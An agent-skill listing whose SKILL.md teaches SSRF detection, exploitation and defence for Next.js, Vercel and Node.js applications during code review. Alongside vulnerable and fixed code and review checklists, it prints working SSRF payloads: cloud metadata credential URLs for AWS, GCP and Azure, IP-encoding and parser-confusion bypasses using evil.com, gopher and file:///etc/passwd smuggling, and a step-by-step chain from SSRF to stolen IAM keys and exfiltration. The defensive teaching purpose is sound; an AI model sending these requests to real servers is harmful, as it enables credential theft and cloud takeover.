# Ssrf Exploitation

> Server-Side Request Forgery (SSRF) detection, exploitation chains, and defense for Next.js, Vercel, and Node.js applications. Use when reviewing code that makes outbound HTTP requests, proxies user input, uses Next.js Image optimization, implements middleware with next(), uses Server Actions with redirects, fetches user-provided URLs, handles webhooks/OAuth callbacks, or generates previews. Covers CVE-2025-57822 (Next.js middleware SSRF), CVE-2026-3125 (OpenNextJS Cloudflare path normalization), Next.js Image component misconfiguration, Server Actions SSRF (Assetnote research), and full SSRF→cloud metadata→credential theft chains.

- Skill: `nickgallick/ssrf-exploitation` (Agent Skill)
- Install (CLI): `npx skillmds add nickgallick/ssrf-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/nickgallick/ssrf-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: nickgallick (https://skillmd.com/u/nickgallick)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/nickgallick/ssrf-exploitation

---


# SSRF Exploitation & Defense

## Why SSRF Is Critical for Our Stack

SSRF in a Vercel/AWS environment isn't just "the server makes a request" — it's a potential path to:
1. **Cloud metadata endpoint** (`169.254.169.254`) → steal IAM credentials
2. **Internal service discovery** → map infrastructure
3. **Credential theft** → access databases, storage, other services
4. **Remote code execution** → via chained vulnerabilities

Our Next.js apps run on Vercel (serverless) and potentially self-hosted. Both have distinct SSRF surfaces.

## Next.js-Specific SSRF Vectors

### Vector 1: Image Optimization Endpoint (`/_next/image`)

Every Next.js app with the `<Image>` component exposes `/_next/image?url=<target>&w=<width>&q=<quality>`.

**Vulnerable configuration** (next.config.js):
```javascript
// DANGEROUS — allows SSRF to any host
images: {
  remotePatterns: [
    { protocol: 'https', hostname: '**' },
    { protocol: 'http', hostname: '**' }
  ]
}
```

**Exploitation**:
```
GET /_next/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&w=64&q=75
```

**Even without wildcard**: If the allowlist includes a CDN that has an open redirect, chain: `/_next/image?url=https://allowed-cdn.com/redirect?to=http://169.254.169.254/...`

Next.js Image component **follows redirects by default**.

**Detection in code review**:
- [ ] Check `next.config.js` for `images.remotePatterns` with `hostname: '**'`
- [ ] Check for any `http://` protocol in remotePatterns (should be `https` only)
- [ ] Check if any allowed hosts have known open redirect vulnerabilities

**Fix**:
```javascript
images: {
  remotePatterns: [
    { protocol: 'https', hostname: 'your-specific-cdn.com' },
    { protocol: 'https', hostname: '*.supabase.co' }
  ]
}
```

### Vector 2: Middleware `next()` Passthrough (CVE-2025-57822)

**5,000+ hosts identified as vulnerable** in the wild.

```typescript
// VULNERABLE — passes all headers including Location
export function middleware(request: NextRequest) {
  const response = NextResponse.next({
    request: { headers: request.headers }  // Passes ALL headers
  })
  return response
}
```

**Exploitation**: Send request with `Location: http://169.254.169.254/latest/meta-data/` header. Next.js middleware evaluates the Location header and follows the internal redirect.

**Detection in code review**:
- [ ] Any middleware that passes `request.headers` directly to `NextResponse.next()`
- [ ] Any middleware that doesn't explicitly filter/construct its forwarded headers

**Fix**:
```typescript
export function middleware(request: NextRequest) {
  // Explicitly construct new headers — never pass raw request headers
  const headers = new Headers()
  headers.set('x-custom-header', request.headers.get('x-custom-header') || '')
  
  return NextResponse.next({ request: { headers } })
}
```

### Vector 3: Server Actions with Redirects (Next.js ≤14.1.1)

When a Server Action performs `redirect('/path')`:
1. Next.js sends HEAD request to the `Host` header value to validate content-type
2. Then sends GET request to fetch content
3. If attacker controls `Host` header → SSRF

**Exploitation chain**:
1. Set up OAST server that responds to HEAD with valid `content-type`
2. On GET request, respond with `302 Location: http://169.254.169.254/...`
3. Next.js follows redirect to cloud metadata

**Detection**: Check Next.js version. Any self-hosted Next.js ≤14.1.1 using Server Actions with redirects is vulnerable.

### Vector 4: API Routes with User-Controlled URLs

```typescript
// VULNERABLE
export async function POST(request: Request) {
  const { url } = await request.json()
  const response = await fetch(url)  // User controls the URL
  return Response.json(await response.json())
}
```

**Detection in code review**:
- [ ] Any `fetch()`, `axios()`, `http.request()` where the URL comes from user input
- [ ] Any route that proxies requests based on user parameters
- [ ] Webhook verification that fetches user-provided callback URLs

## SSRF Bypass Techniques (What Attackers Try)

### DNS Rebinding
Attacker's domain resolves to `169.254.169.254` after the initial DNS check:
```
First resolution:  evil.com → 93.184.216.34 (passes allowlist)
Second resolution: evil.com → 169.254.169.254 (hits metadata)
```

### IP Representation Tricks
All of these resolve to `127.0.0.1`:
```
http://127.0.0.1
http://0x7f000001
http://2130706433
http://017700000001
http://127.1
http://0
http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://localhost
http://127.0.0.1.nip.io
```

### URL Parser Confusion
```
http://evil.com@169.254.169.254  (userinfo ignored by some parsers)
http://169.254.169.254#@evil.com  (fragment confusion)
http://169.254.169.254%23@evil.com  (encoded fragment)
```

### Redirect Chains
Even if the initial URL is validated, `fetch()` follows redirects by default:
```
http://allowed-host.com/redirect → http://169.254.169.254
```

### Protocol Smuggling
```
gopher://169.254.169.254:80/_GET%20/...
file:///etc/passwd
dict://169.254.169.254:80/
```

## Cloud Metadata Endpoints

### AWS (Vercel runs on AWS)
```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
```

IMDSv2 requires a token (PUT request first), but IMDSv1 (GET) may still be available.

### GCP
```
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
```
Requires header: `Metadata-Flavor: Google`

### Azure
```
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
```
Requires header: `Metadata: true`

## Full Exploitation Chain: SSRF → Cloud Takeover

```
1. Find SSRF vector (Image component, middleware, fetch proxy)
2. Bypass URL validation (DNS rebinding, IP tricks, redirect chain)
3. Hit cloud metadata: GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
4. Get IAM role name from response
5. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
6. Receive: AccessKeyId, SecretAccessKey, Token
7. Use credentials to access: S3 buckets, DynamoDB, SQS, Lambda, RDS
8. Exfiltrate data, modify infrastructure, establish persistence
```

## Defense Checklist

### URL Validation (for any code that fetches user-provided URLs)
```typescript
import { URL } from 'url'
import dns from 'dns/promises'

async function validateUrl(input: string): Promise<boolean> {
  let parsed: URL
  try {
    parsed = new URL(input)
  } catch {
    return false
  }
  
  // Protocol allowlist
  if (!['http:', 'https:'].includes(parsed.protocol)) return false
  
  // Resolve DNS and check for internal IPs
  const addresses = await dns.resolve4(parsed.hostname)
  for (const addr of addresses) {
    if (isInternalIP(addr)) return false
  }
  
  return true
}

function isInternalIP(ip: string): boolean {
  const parts = ip.split('.').map(Number)
  return (
    parts[0] === 10 ||
    parts[0] === 127 ||
    (parts[0] === 172 && parts[1] >= 16 && parts[1] <= 31) ||
    (parts[0] === 192 && parts[1] === 168) ||
    (parts[0] === 169 && parts[1] === 254) ||  // Link-local / metadata
    parts[0] === 0
  )
}
```

### Fetch Configuration
```typescript
// Disable redirect following for user-provided URLs
const response = await fetch(url, { redirect: 'manual' })

// Set timeout to prevent slow-loris
const controller = new AbortController()
setTimeout(() => controller.abort(), 5000)
const response = await fetch(url, { signal: controller.signal })
```

### Next.js Specific
- [ ] Image remotePatterns: specific hostnames only, `https` only
- [ ] Middleware: never pass raw `request.headers` to `next()`
- [ ] Server Actions: upgrade to Next.js ≥14.1.2
- [ ] API routes: validate and sanitize all URLs before fetching
- [ ] Disable `/_next/image` if not using Image component: set `images: { loader: 'custom' }`

## Review Checklist

For every PR, check:
- [ ] Does any code path result in `fetch(userInput)`?
- [ ] Are there URL validation functions? Do they check DNS resolution?
- [ ] Does `next.config.js` have wildcard image patterns?
- [ ] Does middleware forward unfiltered headers?
- [ ] Do API routes proxy requests based on user parameters?
- [ ] Are redirect responses followed on user-provided URLs?
- [ ] Is there any `http://` (non-TLS) in URL allowlists?

## References

For Next.js SSRF research details, see `references/nextjs-ssrf-research.md`.

